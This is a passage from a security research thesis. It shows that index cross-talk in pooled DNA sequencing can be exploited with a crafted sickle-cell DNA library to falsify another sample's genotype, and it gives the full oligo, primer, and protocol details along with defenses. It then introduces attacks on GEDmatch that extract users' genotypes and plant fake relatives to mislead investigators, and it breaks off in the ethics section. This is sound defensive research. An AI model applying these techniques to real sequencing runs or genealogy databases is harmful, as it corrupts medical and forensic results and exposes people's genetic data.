NEXT-GENERATION DNA SEQUENCERS

This chapter includes work I have done in collaboration with Luis Ceze, Tadayoshi Kohno,

Karl Koscher, and Lee Organick. This was previously published on the BioRxiv preprint

server [95].

3.1 Overview

Modern next-generation DNA sequencers support multiplex sequencing to improve through-

put and decrease costs. This is done by pooling and sequencing samples together in parallel,

which are later demultiplexed according to their unique indexes [87, 86]. When reads are

assigned to the wrong index, called index cross-talk, information is leaked between sam-

ples [70, 89, 122, 110]. This creates a physical information side-channel, a well known class

of vulnerabilities in information security [73, 72, 10, 69], that may be used to modify down-

stream results. Here we demonstrate the feasibility of such an attack through the use of a

separately indexed library that causes a wild-type human exome to be misclassified as het-

erozygous at the sickle-cell locus. Simple methods can be used to minimize or detect attempts

to modify genetic variants using this side-channel, such as filtering by read quality or finding

outliers in read coverage. To further minimize this risk we recommend the use of new library

preparation methods that reduce index cross-talk, like unique dual indexes [29, 81], when-

ever samples are sequenced together in important applications. Biotechnology that interfaces

molecular and digital information, like DNA sequencers, may have security risks typically

associated with information systems, including the side-channel vulnerability described in

this study. We encourage the community to consider the security of genomics-information
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pipelines before they reach mass adoption.

3.2 Introduction

Next generation DNA sequencing is becoming an increasingly important and ubiquitous

tool. Sequencing results can be life-changing; they are used to make medical decisions,

determine paternity, and are instrumental in forensics. The end-to-end sequencing pipeline,

including sequencing protocols, sequencing instruments, and digital analysis, have been be

changing rapidly as next-generation DNA sequencers have become exponentially faster and

cheaper [16]. However, the risks of adversarial manipulation to sequencing applications are

understudied. These innovations and our increasing reliance on DNA sequencing motivates

us to study the security of the sequencing pipeline before the technology matures.

DNA sequencers fundamentally are interfaces that bridge molecular information (stored

in DNA) and electronic information (encoded digitally). Recent results [93] demonstrated

risks to the digital side of DNA sequencing and subsequent downstream analysis by showing

that it was possible to compromise computer systems with malicious DNA strands that

encode malware. In this work, we demonstrate that the molecular side of DNA sequencing is

also vulnerable to adversarial manipulation. A deliberately crafted DNA sequencing library

can be used to modify sequencing results in other samples that are pooled and sequenced

together to cause targeted misgenotyping.

3.3 Background: Multiplexed Sequencing and Index Cross-Talk

Illumina’s sequencing-by-synthesis platforms support multiplex sequencing so separate sam-

ples can be sequenced together to increase throughput and scalability. This is done by adding

indexes, also known as barcodes, to each DNA fragment during library preparation [86]. The

samples are demultiplexed after sequencing by computationally partitioning them based on

the sequence of the index. Improper demultiplexing of reads into the wrong bin, known as in-

dex cross-talk or index misassignment, has been a recurring issue since multiplex sequencing

was developed [70] (Fig 3.1a).
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Index sequences are designed to be robust to random noise like base substitutions [55]

and other errors like insertions and deletions [35]. However, using well designed index com-

binations does not eliminate index cross-talk [122]. It can be introduced by contamination

during ultramer synthesis or library preparation and when clusters overlap on flow cells that

use random cluster amplification (e.g., MiSeq, NextSeq, HiSeq 2500) [70, 89] (Fig 3.1b). Re-

cent issues have been reported with patterned flow cell sequencers that use a new exclusion

amplification (ExAmp) cluster generation chemistry [110, 60, 29, 52, 118, 77, 76, 117] (e.g.,

HiSeqX, HiSeq 4000 and NovaSeq). ExAmp-based cross-talk occurs when residual free in-

dexing primer in the pooled samples primes fragments, which are later extended by ExAmp

reagents [110, 60, 29] (Fig 3.1c). Costello et al. hypothesize that index cross-talk can occur

whenever multiplexed libraries are amplified together due to the presence of residual adapters

and polymerases [29]. In response to these issues, Illumina released recommendations to re-

duce cross-talk that include best practices for the library preparation workflow [60, 62].

Cross-talk rates vary based on flow cell type (0.2-6.0% patterned; 0.05-0.2% nonpat-

terned) and library preparation method (3-12x higher with PCR-free compared to PCR-plus

preps) [60, 29, 122]. Recently, new indexing strategies have been developed that use unique

dual indexes to drastically reduce cross-talk rates on patterned flow cells (<0.01%) [29, 81].

Index cross-talk presents problems for sensitive application that are less robust to errors, like

single-cell sequencing [110]. However, it has not been an issue with more robust applications,

like high-coverage genotyping, where it is acceptable to use single index demultiplexing [81].

Index cross-talk causes the inadvertent exchange of information between samples that

were intended to remain separate. In the computer security research community, informa-

tion leakage in unexpected ways is called a side-channel [73, 72, 10, 69]. Bioinformatics

analysis utilities, like variant callers, are somewhat robust to misassigned reads because they

are designed to handle random sequencing errors (Fig 3.1d). However, we hypothesize that

sequencing applications, even those robust to index cross-talk, can be manipulated through

this side-channel to affect downstream results (Fig 3.1e). This was suggested as a possibil-

ity [93] but has not been demonstrated until now.
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Figure 3.1: Index cross-talk creates a vulnerable information side-channel. a, Index
cross-talk between multiplexed libraries leaks information between FASTQ files. b, Clonal
clusters may overlap on non-patterned flow cells leading to misassignment. c, Free floating
index primers and polymerases can cause index misassignment. Indexes will prime the 3′

end of library molecules, which are then extended by DNA polymerase to create mixed index
molecules. d-e, When misassigned reads are randomly distributed (d) they are treated like
normal sequencing errors that are unlikely to affect downstream results. However, when
misassigned reads are non-uniform (e) then they can influence downstream results, in this
case, altering a variant call.
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3.4 Results

We find that we can make use of index cross-talk with a maliciously designed sequencing

library to alter specific variants that are called in other multiplexed samples. This simple

attack can be done by sequencing a short amplified fragment that aligns to a single locus;

all of the misassigned reads from this sample will align to this same locus in the other

multiplexed samples and represent the variant encoded in the sequence of the fragment.

To demonstrate this, we targeted a single-nucleotide polymorphism (SNP) responsible for

sickle-cell trait — an A to T substitution in the 6th codon of the β-globin gene (dbsnp:rs334).

The β-globin gene is transcribed in the negative direction, so to be consistent with the variant

caller, we subsequently describe this SNP in the positive orientation (i.e., T is wild-type and

A is sickle-cell). We made the malicious library from a 400 base pair (bp) synthetic DNA

ultramer that was identical to the first exon and promoter of the human reference β-globin

gene except it contained the sickle-cell SNP. The sickle-cell ultramer was designed to be larger

than the typical insert size so there would be many unique inserts after fragmentation. This

is necessary because identical fragments would be flagged as PCR duplicates and removed

prior to variant calling. The sickle-cell ultramer was prepared into an 8 bp dual-index library,

which was pooled and sequenced along with a human exome sample (NA12878) prepared

with a single 8 bp index library (current commercial exome library preparation kits support

only single indexes). Since NA12878 is homozygous wild type at rs334, a heterozygous or

homozygous sickle-cell SNP call would indicate a successful attack (Fig 3.2a).

The two libraries were sequenced in a NextSeq 500 using a Mid-Output flow cell (a non-

patterned flow cell with random cluster chemistry). The exome sample was demultiplexed

and aligned to the human genome (hg38) using the bwa-mem aligner. SNP and indel variants

were called in the NA12878 exome sample using GATK HaplotypeCaller. Index cross-talk

from the sickle-cell library led to a false, high-quality heterozygous sickle cell variant call

(2281 phred quality score) at the rs334 locus in the NA12878 exome sample. Since only two

samples were sequenced, the average coverage was high (321X). The read depth at the rs334
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Figure 3.2: Index cross-talk can be used to modify targeted variants in pooled
samples. a, To modify a specific variant in another sample, the attacker generates a short
ultramer identical to the region of interest, except it contains the desired variant. The
ultramer is amplified, fragmented, sequenced together with the target sample. This results
in the desired variant being called in another sample. b, Average base quality in the read
sequence and i7 index of reads that align to the rs334 locus. Reads containing the sickle-cell
SNP have lower quality bases than those with the wild-type base. Box-plot elements: center
red line is the median, box limits are the upper and lower quartile, whiskers are 1.5x the
interquartile range, and points are outliers. c, Reads that aligned to the rs334 locus with
the sickle-cell SNP were removed randomly in varying proportions to simulate lower levels of
misassignment. Each separate simulation is shown by the grey dotted lines; average is shown
by the blue line. A heterozygous sickle-cell variant was called as long as at least 30% of the
reads remain. (When 30% remained, the QualityByDepth<2 filter failed in two simulations.)
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locus was especially high (820), likely the result of cross-talk, since 559 (68%) of the reads

had the sickle-cell base (Supplementary Table 1).

Similar to what has been seen in other work [122, 110, 29], some reads had invalid dual-

index combinations (i.e., i7 index from one sample and i5 index from another). Since the

exome library was not prepared with an i5 index, we could only detected mixed indexes

where the i7 index comes from the NA12878 exome library and the i5 index comes from the

sickle-cell library. A small number reads (758 or 0.0004%), had this mixed index pair. Of

these, 65% aligned to the 400 bp region used to design the sickle-cell ultramer. The reads

containing the sickle-cell base that aligned to the rs334 locus also had significantly lower

base quality scores, in both the read sequences and indexes, when compared to reads with

the wild-type base (Figure 3.2b).

To understand variant sensitivity to lower levels of index cross-talk, we randomly removed

reads that both aligned to rs334 and had the sickle-cell base. Variants were then called

as before. As expected, the quality of the heterozygous sickle-cell variant went down in

proportion to the number of sickle-cell reads that were removed (Figure 3.2c). A false

variant passing all quality filters was called as long as at least 40% of the sickle-cell reads

remained, which suggests that the variant would have been modified with substantially less

cross-talk than we observed.

Since index cross-talk can be used adversarially, we recommend that unique dual indexes

be used whenever pooling independently sourced samples to reduce misassignment, especially

in important applications like medicine or forensics. In cases where index cross-talk cannot

be eliminated, it is helpful to develop strategies that mitigate or detect when variants have

been manipulated. One approach is to filter reads by index quality score. Our results match

others [122] and indicate that misassigned reads have lower index quality scores then normally

demultiplexed reads. Therefore, filtering out such reads may remove the false variant without

substantially altering true variants. When reads with an average i7-index base quality score

of less than 22 were removed, the false sickle-cell variant was no longer called. However,

other nearby, downstream SNPs calls were not substantially affected (Fig 3.3a).
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Figure 3.3: Defenses to prevent variant manipulation. a, Reads were filtered out using
the average base quality of the i7 index. Filtering out reads with low index quality scores can
be used to remove false variants. By comparison, nearby SNPs (located at chr11:5226561
and chr11:5225911 ) were largely unaffected by filtering. b, Read depth along the autosomal
chromosomes using all reads (no demultiplexing). Each point represents the depth at a
single position (points with zero-coverage are not displayed). Dotted horizontal line shows
the highest coverage not located at the HBB locus. Circled green points are in the 400 bp
region used to design the sickle-cell ultramer.

This attack requires that the malicious library have highly non-uniform coverage at the

desired locus. Therefore, a simple method to detect variant manipulation is to compute

coverage at every loci with all reads (no demultiplexing) and look for outliers in coverage.

In our sequencing run, the read coverage at the HBB locus was over 100 million base pairs,

which was 3 orders of magnitude higher than any other position (Fig 3.3c). Another approach

is to call variants using only the reads that demultiplex to mixed-index pairs because those

reads represent what will be misassigned into other samples. When we did so, the only

variant that was called was a homozygous sickle-cell SNP.

These results show that information side-channel vulnerabilities in high-throughput DNA

sequencers can be used to manipulate sequencing results in a targeted manner. Engineers

should be aware of side-channel risks whenever combining samples for increased data density

and throughput. We encourage the bioinformatics and genomics community to better un-
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derstand potential adversarial actions against the genomics-information processing pipeline,

so we can develop solutions while the technology is young and before problems arise.

3.5 Methods

3.5.1 Library Preparation

The sickle-cell ultramer and primers for amplification were ordered from IDT (see Supple-

mentary Table 2 for sequence and primers). It amplified with primers, 100 L of 2x Kapa

HiFi enzyme mix, 80 L of molecular grade water, 5 L of each primer at 10M diluted in 1x

TE buffer, and 10 L of the synthesized ultrame r at 1 ng/L diluted with 1x TE buffer, for a

mixture totalling 200 L. The mixture was vortexed on a benchtop vortexer for 10 seconds,

then split into two 0.2 mL PCR tubes and placed in the thermocycler with the following

protocol: (1) 95C for 3 min, (2) 98C for 20 s, (3) 60C for 20 s, (4) 72C for 30 s, (5) go to step

(2) 11 additional times for a total of 12 cycles, and (6) 72C for 30 s. The resulting product

had no side products when examined with a QIAGEN QIAxcel fragment analyzer, and it

was approximately 165 ng/L.

The human genome NA12878 was ordered through Coriell Institute and was not modified

prior to shipping to Genewiz for library preparation.

Both the whole genome and the sickle-cell amplicon were sent to Genewiz for further

preparation. The whole genome was prepared with the Agilent SureSelect Exome library

preparation kit (v6) to prepare only the exome for sequencing, using index A11 with se-

quence CCAGTTCA. Fragment sizes ranged from 290 bp to 784 bp as measured by the

Quiagen Fragment Analyzer. The amplicon was prepared with fragmentation using the Nex-

teraXT kit, using index N703 with sequence AGGCAGAA and index S516 with sequence

ACTCTAGG. Fragment sizes ranged from 168 bp to 608 bp (using the Quiagen Fragment

Analyzer).



52

3.5.2 Sequencing

The prepared exome and sickle-cell samples were found to be 6.2 ng/L (23 nM) and 2.2 ng/L

(11nM), respectively, with the Qubit 3.0 fluorometer. The run was 48 percent exome sample

(0.9L) and 48 percent amplicon sample (2L), with a 4 percent PhiX spike-in as a sequencing

control. Samples were diluted and denatured prior to sequencing using the NextSeq System

Denature and Dilute Libraries Guide. Sequencing was done on the NextSeq 500 and used a

300 cycle Mid kit, with 150 cycles in each read and two 8 bp index reads.

3.5.3 Downstream Processing

All reads were demultiplexed with the Illumina bcl2fastq conversion software (v2.20.0) using

the default configuration (one base pair mismatches was allowed). The create-fastq-for-index-

reads flag was used to retrieve index quality scores. The exome sample was demuxed with

(i7:CCAGTTCA) and the sickle-cell sample with (i7:AGGCAGAA; i5:ACTCTAGG). The

reads with the invalid mixed-index pairs were demuxed with (i7:CCAGTTCA; i5: ACTC-

TAGG).

To call all variants, reads were aligned to the human genome (GRChg38) using bwa-

mem (v0.7.15). PCR and optical duplicates were removed with the Picard MarkDuplicates

utility (v2.9.0). Base scores were recalibrated with GATK (v3.7) BaseRecalibrator with the

following vcf files from the GATK resource bundle: dbSNP v138, OMNI 2.5, HapMap 3.3,

and Mills and 1000G Gold Standard Indels. Variants were called with GATK Haplotype-

Caller in discovery mode and SNPs were hard filtered according to GATK’s generic filtering

recommendations (QD < 2.0, MQ < 40.0, FS > 60.0, SOR > 3.0, MQRankSum < -12.5,

and ReadPosRankSum < -8.0). Exome coverage was computed using the bedtools coverage

utility (v2.25.0) with the Agilent SureSelect Exome v6 bed files.
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3.5.4 Variant Analysis

Reads containing the sickle-cell SNP were any that covered the rs334 position (chr11:5227002)

after alignment and had the sickle-cell base (T) at that position. All such reads were identified

and removed in varying proportions from the demuxed FASTQ file to simulate lower levels

of index misassignment. For example, to simulate 90% levels of misassignment, 10% of the

sickle-cell reads (rounded up) were removed, at random, from the FASTQ file. Then the

reads were aligned and variants called on the FASTQ file as usual. Simulation was run every

10% from 0-100% three times with a different random seed each time.

To filter out reads based on index quality, the average i7 base phred quality score was

computed for each read pair. Any reads which were less than the given quality threshold

were removed from the FASTQ file. The remaining reads, which passed the i7 quality

threshold, were aligned and had variants called as usual. Variants were called using quality

filter thresholds from 14-32 (even only).

The read depth Manhattan plot was generated using the manhattan function from the

CRAN qqman package (v0.1.4). The read depth was sampled every 50 bp and plotted;

positions with 0 read depth were not plotted.

3.5.5 Data Availability

The raw BCL sequencing files used to generate the demuxed FASTQ files and the VCF for the

NA12878 exome sample are available at Zenodo with the following doi: 10.5281/zenodo.1252436
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Run Metrics

Total PE Reads (PF) 209,948,900

Total Indexed Reads (PF) 195,632,495 (93.18%)

%≥Q30 82.79%

Exome Sample

Number PE Reads 98,448,354 (46.9%)

Percent Aligned 99.68%

Average Insert Size 147.55

Average Coverage 321.42X

Sickle-Cell Sample

Number PE Reads 97,184,141 (46.3%)

Percent Aligned 99.38%

Average Insert Size 135.68

Table 3.1: Sequencing run summary statistics.

rs334 Locus (chr11:5227002)

NA12878

Actual Genotype (A;A)

Exome Sample

Variant Call (A;T)

Quality (phred) 2281

Read Depth at Sickle Locus 820

Depth of Base A (WT) 242

Depth of Base T (sickle-cell) 559

Table 3.2: Variant calling statistics.
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Sickle-Cell Oligo and Primer Sequences

Sickle-Cell Oligo

5’ AAGGGTGGGAAAATAGACCAATAGGCAGAGAGAGTCAGTGCCTATCAGAA

ACCCAAGAGTCTTCTCTGTCTCCACATGCCCAGTTTCTATTGGTCTCCTT

AAACCTGTCTTGTAACCTTGATACCAACCTGCCCAGGGCCTCACCACCAA

CTTCATCCACGTTCACCTTGCCCCACAGGGCAGTAACGGCAGACTTCTCC

ACAGGAGTCAGATGCACCATGGTGTCTGTTTGAGGTTGCTAGTGAACACA

GTTGTGTCAGAAGCAAATGTAAGCAATAGATGGCTCTGCCCTGACTTTTA

TGCCCAGCCCTGGCTCCTGCCCTCCCTGCTCCTGGGAGTAGATTGGCCAA

CCCTAGGGTGTGGCTCCACAGGGTGAGGTCTAAGTGATGACAGCCGTACC 3’

Primer 1 5’ AAGGGTGGGAAAATAGACCA 3’

Primer 2 5’ GGTACGGCTGTCATCACTTA 3’

Table 3.3: Sickle-Cell oligo and primer sequences.
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Chapter 4

SECURITY OF GENETIC GENEALOGY SERVICES:
GENOTYPE EXTRACTION AND FALSIFIED RELATIVE

ATTACKS

The content in this chapter includes work I have done in collaboration with Luis Ceze

and Tadayoshi Kohno. Early drafts of this chapter first appeared on the ArXiv preprint

service [94].

4.1 Introduction

Consumer facing genetic testing is now commonplace. For under 100 US Dollars, individuals

can send DNA samples (typically saliva) to direct-to-consumer (DTC) genetic testing services

(such as 23andMe) and, in return, receive information about their genome, their health risks,

their ancestry, and more. Many individuals download their raw genetic profiles from these

DTC services and upload them to third-party services for additional analytics and processing.

For example, the popular third-party service GEDmatch has the ability to receive genetic

profiles downloaded from numerous DTC services, and offers users a wide variety of tools

to run over their uploaded data, including tools for genealogical search. As two indications

of GEDmatch’s popularity and of its importance to society, in early 2018 GEDmatch had

nearly 1 million uploaded profiles [13], and its genetic genealogical search capabilities have

proven instrumental in numerous searches for criminals based on DNA evidence [51].

A key — and we believe critical — goal for the computer security community is to develop

an informed understanding of the computer security and privacy risks with such third-party

genetic testing services, like GEDmatch. We believe this goal is critical given both the

increasing popularity of these services and the sensitivity of the data that users share with
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these services (their raw genetic information). Thus, we argue that now is the time for the

computer security community to empirically and concretely study these services, to assess

their potential vulnerabilities and weaknesses, and develop informed suggestions for how

the ecosystem (including the users of these systems and the systems themselves) can move

toward mitigating the associated risks.

This process of identifying the risks with these third-party genetic services has already

started, with existing significant results about de-identification attacks using these ser-

vices [34]. In such an attack, an “adversary” has genetic material from some unknown

target individual and wishes to figure out who that individual might be. The “adversary”

uploads that genetic material to a third-party testing service, like GEDmatch, and by using

the familial search tools provided by these services, determines who the relatives of the target

individual might be. The “adversary” then uses external information, like public genealogy

records, to investigate the family trees of the identified relatives in an attempt to determine

who the target is. The word “adversary” here, in this paragraph, is in quotes because in

some cases the “adversary” may be law enforcement operating with authorization, but the

“adversary” might also be any other individual wishing to compromise the privacy of the

source of some genetic material.

We observed (and have now confirmed) that there are other (we believe significant)

security and privacy risks with third-party genetic services like GEDmatch. First, we identify

and experimentally evaluate the ability of an adversary to extract the genetic markers of a

target individual from a third-party genetic service like GEDmatch using only authorized

queries to that service. As a concrete example, suppose that an attacker knows that a

target Alice uploaded her genetic profile to GEDmatch. After significant reverse engineering

and study of the GEDmatch system, we find that it is possible for an adversary to use

the GEDmatch system as an oracle, have it match Alice with a small (10-20) number of

specially chosen adversarially-crafted genetic profiles, and ultimately extract Alice’s raw

genetic information. This attack extends a risk that Goodrich observed in 2009 [49], but

concretely, in the context of a real, commercial third-party service. We culminate this attack
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in Sections 4.6 and 4.7, after reverse engineering the GEDmatch matching algorithm in

Section 4.5.

A second risk we identify and experimentally analyze in this chapter is the adversarial

population of these third-party genetic services with fake (a.k.a. synthetic) relatives. To our

knowledge, we are the first to identify and explore this risk. Our motivation stems from

the above-mentioned example of law enforcement uploading an unknown target individual’s

genetic material to a third-party genetic services like GEDmatch, and using that service to

find relatives of the target individual. We ask whether it would be possible for an adversary,

knowing that the police might search for him or her using this technique, to populate the

GEDmatch system with fake DNA profiles — fake DNA profiles specially crafted to trick

law enforcement into searching down the wrong branch of a family tree. We find that the

answer is yes (at least algorithmically and, in doing so, also identify numerous other potential

adversarial use cases for such an attack. We explore this attack in Section 4.8, leveraging

our earlier reverse engineering of the GEDmatch matching algorithm in Section 4.5. Our

full attack also leverages an adversary’s ability to extract the genetic profiles of individuals

(Sections 4.6 and 4.7) in order to create fake, synthetic relatives for those individuals without

a priori knowing those individuals’ genetic information.

While we conjecture that the risks we identify here are likely to apply to other third-

party genetic services, we chose to focus our investigation on GEDmatch. Like [34], we do

so because of GEDmatch’s popularity among consumers, and because focusing on a single

service allows us to explore that service at a significant depth. Given the nature of our

results, and the potential for the issues we identify to be systemic to the third-party genetic

services field, we step back and, in Section 4.9, consider suggestions for the field as a whole.

4.2 Context: Genetic Testing and Analyses

In this section we give the necessary background on direct-to-consumer genetic testing and

third-party analysis services. We then introduce the notion of relative matching, a common

offering of third-party analysis services. We next cover GEDmatch, one of the most popular
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Figure 4.1: The center of this figure captures the normal, intended use of DTC services (such
as 23andMe) and third-party services (like GEDmatch). The left side of this figure indicates
example secondary uses of third party services, such as police use of these services to infer
the identity of suspects (see Section 4.2.4). The right side of this figure provides a simplified
overview of our threat model (see Section 4.3). The red arrow indicates adversarial inputs
to third-party services, and the dashed red lines to the secondary user on the left and the
legitimate user in the center indicates adversarial pollution of the information sent to these
parties (see further Section 4.8). The green arrows for the third user, combined with a dashed
green arrow flowing to the adversary, indicates adversarially-controlled information leakage
about an individual (see further Section 4.6).

third-party genetic genealogy websites. Finally, we survey additional related works.

4.2.1 Direct-to-Consumer Genetic Testing

Figure 4.1 (center) provides an pictorial overview of the Direct-to-consumer (DTC) genetic

testing ecosystem; we expand on the left and right sides of this figure later. DTC genetic

testing is a genetic test that is marketed directly to consumers without going through an

intermediary like a healthcare provider. The most popular type of testing uses dense geno-

typing arrays that probe between 0.5-1 million genetic markers. Testing kits are inexpensive



60

(< $100 USD) and can be mailed to customers to be shipped back with a DNA sample (usu-

ally saliva); see the arrows from the users to the DTC in Figure 4.1. Customers use the DTC

genetic tests to get information on their genetic ancestry, genealogy, and health. Users can

also download files from the DTC companies called genetic data files that contain their raw

genetic results.

The genetic data files contain an individual’s genetic information at specific one-base long

positions in the human genome that are known to vary within the human population. These

positions are referred to as single nucleotide polymorphisms (SNPs). The possible DNA

bases that are found in the human population at a particular SNP are known as the alleles,

and the specific bases a person has at a SNP is that individual’s genotype. The genotype of

each SNP in the genetic data file will contain two DNA bases because chromosomes come in

pairs (one from each parent). The genetic data files are encoded in a simple ASCII format,

with each SNP recorded on a separate line (see Figure 4.2). The SNPs are first sorted by

chromosome and then by position within each chromosome.

Since the rise of DTC testing, there has been a demand from customers to be able to

interpret their own genetic data using additional online third-party services; see the sets of

arrow below the users in Figure 4.1 (center). Third-party services do not generate genetic

data directly, but offer databases and tools to store and analyze it. Third-party services

are popular because they empower users to interpret their own data, aggregate data from

different DTC testing companies, and may offer non-standard features and analysis utilities.

To upload data to third-party services, customers usually download their genetic data file

from the DTC testing company and then upload it to the third-party website. In some

cases third-party services also support file transfers via APIs or uploads with less common

consumer genetic file formats (e.g., VCF). In some situations, a DTC testing company may

act like a third-party service when it allows users to upload results from other companies.
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4.2.2 Relative Matching

Many third-party services provide methods to infer relationships and ancestry from genetic

data, a practice often referred to as genetic genealogy. Finding relatives using genetic data

is know as relative matching, also known as familial matching or DNA matching. Relative

matching algorithms rely on the fact that closer related individuals tend to share more of

their DNA and that the degree of relationship can be predicted by the amount of DNA

sharing (e.g., siblings share more DNA than first cousins, and first cousins share more DNA

than second cousins).

At a high level, relative matching algorithms work by attempting to identify large DNA

segments that are the same between two individuals, called matching segments. Closer re-

lated individuals will, on average, share longer and more numerous matching DNA segments.

SNP-based genetic data files can be used to find these matching segments because the files

contain the genotype of both individuals at positions throughout the genome.

Except for close relatives, like siblings, or when the individuals descend from a small

number of people, it is typical that each matching segment will only be shared on one of the

two chromosomes in a pair. This happens because one chromosome in a pair comes from

the mother and the other from the father, and most individuals are only related through one

branch of their family. When a DNA segment matches on one of the two chromosomes it is

called a half-match and on both a full-match.

4.2.3 GEDmatch

GEDmatch is one of the most prominent online third-party genetic genealogy service, with

close to 1 million uploaded kits — the GEDmatch term for uploaded genetic data files. GED-

match is designed to help users research their genealogy and find new relatives using relative

matching algorithms. It has an open access model, which means that, by default, all uploaded

kits are included in the database that GEDmatch uses to perform DNA matching queries.

For every matching kit, a user email address, name (possibly an alias), and kit identifier are
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displayed to the party requesting the query, alongside information about the DNA matches.

Users can match any two kits together — including kits that others have uploaded — as long

as they have the kit identifiers. Despite this open model for DNA matching, the underlying

genetic data remains private in GEDmatch, even from the user that uploaded the data; i.e.,

a user cannot use GEDmatch to see their own raw data after they upload it.

GEDmatch has become one of the most important databases in criminal forensics inves-

tigations due to the size of its database and its open access model. As of early 2019, 25

cold cases1 have already been solved using GEDmatch, including the Golden State Killer

investigation, and private forensics companies like Parabon Nanolabs are extensively using

GEDmatch in investigations on behalf of law enforcement [51].

4.2.4 Identity Inference: Secondary Use and Attacks

Genetic genealogy services are designed to find relatives from genetic data. If the genetic

data is from an unknown source, then any relatives identified via genetic familial searches

can be combined with known genealogy information, like family trees, to identify the source

(person) of the genetic data. This approach is precisely what law enforcement used to identify

suspected criminals from unknown DNA samples; see the left side of Figure 4.1.

When the party applying this method does not have appropriate authorization to do

so, this method is known as identity inference or identity tracing [33, 34]; see the right

side of Figure 4.1. For this attack to be successful, the adversary must have or be able to

construct genetic data files for the unknown, target individual. And the adversary must have

access to information about family trees (captured by the “External Information” bubble in

Figure 4.1). The adversary then queries the third-party service with the DTC profile to find

the target’s relatives, and then uses the available family tree information to determine the

identity of the target DNA.

Recent work has demonstrated that anonymous genetic data in public datasets can be

1See for a list of cold cases which have been solved with consumer genetic genealogy services https:

//docs.google.com/spreadsheets/d/1uRH2aptd91oQjvKi4pHDpRfiS6RjNva9QNzp8-dXRJk/
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#rsid chr pos genotype

rs548049170 1 69869 TT

rs13328684 1 74792 AG

rs9283150 1 565508 GG

rs116587930 1 727841 GG

rs3131972 1 752721 GG

rs12184325 1 754105 CA

...

Figure 4.2: An example DTC genetic data file. Each line corresponds to a single SNP that
includes a SNP identifier, chromosome number, base position within the chromosome, and
the genotype of the SNP.

de-identified using open third-party services like GEDmatch and family tree information [34].

The ability to de-identify DNA data using third-party services is largely dependent on the

number of individuals — and in particular, the number of relatives already in the genetic

database — because identification is easier with more matches. Using a database including

1.28 million individuals, researchers estimated that 60% of all individuals have a third cousin

or closer in the database, the same level of relationship that was used in the Golden State

Killer case; a database covering just 2% of the population would be enough to find a third

cousin for nearly every person [34].

4.2.5 Related Works

To our knowledge, we are the first to experimentally explore the specific attacks surfaced

and studied in this chapter. However, there is extensive literature in the computer security

community on privacy, security, and genomics, which we survey here. Early studies at the

intersection of security, privacy, and genomics focused on privacy-respecting methods for

processing on genetic data [65, 3, 112]. The field has continued to expand, as captured



64

by surveys such as Akgün, et al. [2], Mittos, Malin, and De Cristofaro [90], and Naveed,

et al. [92]. The surveyed privacy concerns, and associated defenses, range from privacy

risks with genetic testing services, to data storage, to the computation over genetic data by

untrusted parties.

One critical and emerging sub-field leverages knowledge at the intersection of both genet-

ics and computer security, as captured by Erlich and Narayanan [33] in their survey. Work

at this intersection exploits genetic facts in humans to compromise the privacy of a system.

As a simple example, because paternal information passes through the Y chromosome, the

knowledge of a target’s Y chromosome can yield paternal information and the possible sur-

name of a target [53]. Other works, such as [34] and [32], leverage the underlying biology of

familial relationships, as well as genealogical databases, to de-anonymize DNA samples. This

area of research is growing in breadth and depth, and our work contributes both conceptual

and experimental analyses of threats that, hitherto, have not been deeply explored.

Returning to the early works in the broad field of genomics and privacy, in 2009 Goodrich

observed that cryptographic approaches for computing over genomic data would not prevent

information leakage resulting from the results of those computations [49]. Essentially, know-

ing the output of a computation over two DNA samples (even if computed cryptographically),

and knowing one of those two DNA samples, can leak information about the unknown sam-

ple. Although Goodrich evaluated an attack leveraging his observation in simulation, to

our knowledge the extent that this risk might extend to real, commercial genetic processing

services has not been evaluated. We evaluate such a risk as one thrust of this chapter (see

Question 1 in Section 4.3).

4.3 Threat Model and Research Questions

4.3.1 Threat Model

Figure 4.1 (center and right) provides a pictorial overview of our threat model. Our work

focuses on assessing and evaluating the capabilities of an adversary who can upload inau-
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thentic DTC profiles to third-party genealogy services. We do not assume that the attacker

has any privileged access to a third-party service beyond what is granted to a normal user.

4.3.2 Research Questions

Under this threat model, we consider the following two, motivating research questions:

• Question 1: Is it possible for an adversary, under our threat model, to use its inter-

actions with a third-party service to extract the genotype of a target user and, if so,

how? We call such an attack a genotype extraction attack.

• Question 2: Is it possible for an adversary, under our threat model, to use its inter-

actions with a third-party service to confuse the output of DNA matching algorithms,

e.g., by creating “false” relatives for individuals and, if so, how? We call such an attack

a forged relative attack.

To the best of our knowledge, we are the first to experimentally study the genotype

extraction attack with a real, third-party DNA matching service (recalling that Goodrich

conceived of the potential or such an attack in 2009 [49]), and we are the first to propose

the forged relative attack.

Following these research questions, we have the following additional research question:

• Question 3: After having studied the above questions, we then ask how all the relevant

communities — the genetic analysis community (the DTC companies and third-party

services), the communities using the results of those services (e.g., law enforcement),

and the computer security community — can work to mitigate the risks we uncover.

4.3.3 Intuition for Question 1

Our intuition and motivating observation for Question 1 was the following: inspired in part

by Goodrich [49], we observed that real, commercial third-party DNA matching services
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reveal some information about the relationship between two matched individuals. Knowing

the existence of Goodrich’s work, from a theoretical perspective and evaluated in simulation,

we hypothesized that an attacker might be able to, through carefully constructed queries,

use the relative matching tools provided by commercial third-party services as an oracle to

extract information about a target individual’s genotype. Said another way, we hypothesized

that Goodrich’s results would extend to third-party genetic matching services and, hence,

those services might be vulnerable by design.

However, as we shall see, significant effort is necessary to mount such an attack in practice;

we explore Question 1 in depth in Section 4.6 and 4.7.

4.3.4 Intuition for Question 2

Our intuition and motivating observation for Question 2 was the following: We observed

that numerous crimes were being solved through the police use of third-party DNA matching

services (see the left side of Figure 4.1). However, from prior research [34] as well as court use

(e.g., [42]), we also knew that third-party services do not verify the authenticity of profiles

added to their databases. Thus, we hypothesized that it might be feasible to pollute a third-

party service’s database in such a way as to create fake relatives for individuals. In the case

of criminal investigations, such fake relatives could lead investigative searches along incorrect

familiar branches. As with Question 1, our intuition was that any third-party service that

allows the public to upload unauthenticated DNA profiles might be vulnerable, but we also

had significant unknowns. We consider Question 2 in Section 4.8.

4.4 Ethics, Systemic Issues, and Specific Experiments

We considered ethical and responsible disclosure issues throughout all the phases of our

research, from project conception and formulation, to experiments with a specific third-

party service provider (GEDmatch), to (eventual) responsible disclosure of our results. We

survey our considerations here and, when relevant, elaborate on specific precautions that we

took with individual experiments closer to the discussions of those experiments.
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4.4.1 Project Conception and the Decision to Experiment

As hinted by Questions 1 and 2 in Section 4.3, the issues that we explore in this chapter have

the potential to be systemic to the entire genetic genealogy industry. For example, recalling

our motivation to Question 1, we had reason to believe that if a third-party genetic matching

service gives users information about how closely their DNA matches another target user,

